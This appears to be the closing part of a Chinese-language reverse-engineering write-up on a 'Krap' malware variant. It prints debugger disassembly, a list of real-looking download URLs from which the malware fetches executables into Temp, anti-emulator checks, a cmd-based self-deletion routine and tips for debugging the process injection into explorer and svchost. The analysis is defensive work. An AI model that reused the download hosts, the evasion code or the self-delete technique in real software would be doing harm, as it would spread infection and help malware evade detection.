test eax,eax 004014E1 0F95C0 setne al 004014E4 395D FC cmp dword ptr ss:[ebp-4],ebx 004014E7 ^ 77 B2 ja short __krap_.0040149B 004014E9 FF75 F0 push dword ptr ss:[ebp-10] 004014EC FF15 2C304000 call dword ptr ds:[40302C] ; kernel32.CloseHandle 004014F2 EB 13 jmp short __krap_.00401507 004014F4 83C0 FE add eax,-2 004014F7 3D FE030000 cmp eax,3FE 004014FC 77 09 ja short __krap_.00401507 004014FE 885D FB mov byte ptr ss:[ebp-5],bl 00401501 EB 04 jmp short __krap_.00401507 00401503 3AC3 cmp al,bl 00401505 74 1B je short __krap_.00401522 00401507 8D45 FC lea eax,dword ptr ss:[ebp-4] 0040150A 50 push eax 0040150B 56 push esi 0040150C 8D85 08FAFFFF lea eax,dword ptr ss:[ebp-5F8] 00401512 50 push eax 00401513 FF75 08 push dword ptr ss:[ebp+8] 00401516 FFD7 call edi 链接的网络及下载的要运行的病毒包括不限于下面这些 0012E584 0012E834 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\nvdwyuf.exe" 0012E590 0012E7B4 ASCII "http://dbcorps.com/ibemh/oovqlsahc.php?adv=adv468" 0012E59C 0012E734 ASCII "http://cbphase.com/ibemh/oovqlsahc.php?adv=adv468" 0012E584 0012E9B4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\rrtmxa.exe" 0012E584 0012EB34 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\hrbnufy.exe" 0012E590 0012EAB4 ASCII "http://dbcorps.com/ibemh/rhlgoidbwq.php?adv=adv468" 0012E584 0012ECB4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\qgrirjoc.exe" 0012E590 0012EC34 ASCII "http://dbcorps.com/ibemh/erztbwqyg.php?adv=adv468" 0012E584 0012EE34 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\wsxguopp.exe" 0012E590 0012EDB4 ASCII "http://dbcorps.com/ibemh/aaick.php?adv=adv468" 0012E584 0012EFB4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\edsycb.exe" 0012E590 0012EF34 ASCII "http://dbcorps.com/ibemh/xbsnusnvp.php?adv=adv468" 0012E584 0012F134 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\nped.exe" 0012E59C 0012F034 ASCII "http://cbphase.com/ibemh/cfjeyt.php?adv=adv468" 0012E584 0012F2B4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\njnosbp.exe" 0012E59C 0012F1B4 ASCII "http://cbphase.com/ibemh/imdysnucxe.php?adv=adv468" 0012E584 0012F434 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\eqyleiv.exe" 0012E59C 0012F334 ASCII "http://cbphase.com/ibemh/gtbwqys.php?adv=adv468" 0012E584 0012F5B4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\gbrel.exe" ... 里面还使用了一些绕AVer虚拟机的代码 0014101A 6A 00 push 0 0014101C 8D45 FC lea eax,dword ptr ss:[ebp-4] 0014101F 50 push eax 00141020 6A 01 push 1 00141022 E8 37110000 call 0014215E // call ddraw.DirectDrawCreate,没仿真这个就挂了 :( 00141027 85C0 test eax,eax 00141029 74 04 je short 0014102F 0014102B 33C0 xor eax,eax 0014102D C9 leave 0014102E C3 retn 0014102F 8B45 FC mov eax,dword ptr ss:[ebp-4] 00141032 8B08 mov ecx,dword ptr ds:[eax] 在上面这些代码执行完毕后进行自删除。 0014110E FF15 24301400 call dword ptr ds:[143024] ; kernel32.GetShortPathNameA 00141114 56 push esi 00141115 8D85 B8FCFFFF lea eax,dword ptr ss:[ebp-348] 0014111B 50 push eax 0014111C 68 20311400 push 143120 ; ASCII "COMSPEC" 00141121 FF15 20301400 call dword ptr ds:[143020] ; kernel32.GetEnvironmentVariableA 00141127 68 18311400 push 143118 ; ASCII "/c del " 0014114D FFD6 call esi 0014114F 68 10311400 push 143110 ; ASCII " > nul" 00141154 8D85 BCFDFFFF lea eax,dword ptr ss:[ebp-244] 0014115A 50 push eax 0014115B FFD6 call esi 0014115D 8D85 B8FCFFFF lea eax,dword ptr ss:[ebp-348] // 启动cmd.exe 删除 00141176 C745 C4 3C00000>mov dword ptr ss:[ebp-3C],3C 0014117D 897D CC mov dword ptr ss:[ebp-34],edi 00141180 C745 D0 0831140>mov dword ptr ss:[ebp-30],143108 ; ASCII "Open" 00141187 897D DC mov dword ptr ss:[ebp-24],edi 0014118A 897D E0 mov dword ptr ss:[ebp-20],edi 0014118D 8975 C8 mov dword ptr ss:[ebp-38],esi 00141190 FF15 D0301400 call dword ptr ds:[1430D0] ; shell32.ShellExecuteExA 001411A4 FFD6 call esi ; kernel32.SetPriorityClass 001411A6 68 00010000 push 100 001411AB FF15 A8301400 call dword ptr ds:[1430A8] ; kernel32.GetCurrentProcess 001411B1 50 push eax 001411B2 FFD6 call esi 001411B4 6A 0F push 0F 001411B6 FF15 A4301400 call dword ptr ds:[1430A4] ; kernel32.GetCurrentThread 001411BC 50 push eax 001411BD FF15 AC301400 call dword ptr ds:[1430AC] ; kernel32.SetThreadPriority 001411C3 57 push edi 001411C4 8D85 C0FEFFFF lea eax,dword ptr ss:[ebp-140] 001411CA 50 push eax 001411CB 6A 01 push 1 001411CD 6A 04 push 4 001411CF FF15 D4301400 call dword ptr ds:[1430D4] ; shell32.SHChangeNotify 自删除自身。 001411D5 57 push edi 001411D6 FF15 B0301400 call dword ptr ds:[1430B0] ; kernel32.ExitProcess [0x07].调试中的一些技巧 由于病毒的主程序使用了连续注入的方式,使得分析并不是十分容易。我们需要分析被注入的 explorer和在explorer中分析要被注入svchost.直接分析explorer会很不方便,explorer挂起后, 很多操作的都失去了响应。 这里的一个办法是修改注入时的进程名,比如放一个替罪羊程序过去改名叫expl0rer,这样就容 易调试了,同理,在expl0rer注入时,放同样替罪羊程序改名叫svch0st.exe即可。 由于svch0st.exe是被挂起的方式创建的,此时0llydbg不方便attach上去调试。这里可以先要找 到那块注入的在svch0st.exe代码开始位置,用icesword,修改内存,把开头的指令修改为一个死循环。 比如一个函数的开头是这个 00401097 > 55 push ebp 00401098 8BEC mov ebp,esp 修改为 00401097 >- E2 FE loopd short __krap_.<00401097> 00401099 90 nop 当expl0rer.exe 调用ResumeThread后,再去用ollydbg attach即可。 下面总结了一些分析时比较有用的断点,依次下断点即可 病毒主程序中, 4011DF(第一次解密完成) 009226AC(内存中解密完毕) 0040807E(二次解密) 00402114(此时可修改explorer为expl0rer) 00401E7D (计算注入点函数入口偏移,调用CreateRemoteThread,此时可去expl0rer.exe中设置断点) expl0rer 中断点,由于映射的基址不同,所以??的地方是每个机器中的具体地址,比如我映射的是BE0000这个基址 那么断点就是00BE1F3C,和00BE1E80 00??1f3c (此时可修改svchost为svch0st) 00??1e80 (此时可计算出注入svch0st中的代码地址,用来下断点) svch0st中的直接分析即可了。 以上就是关于Krap家族的解密方式及ao变种,download下来的东西就不分析了太多了:)。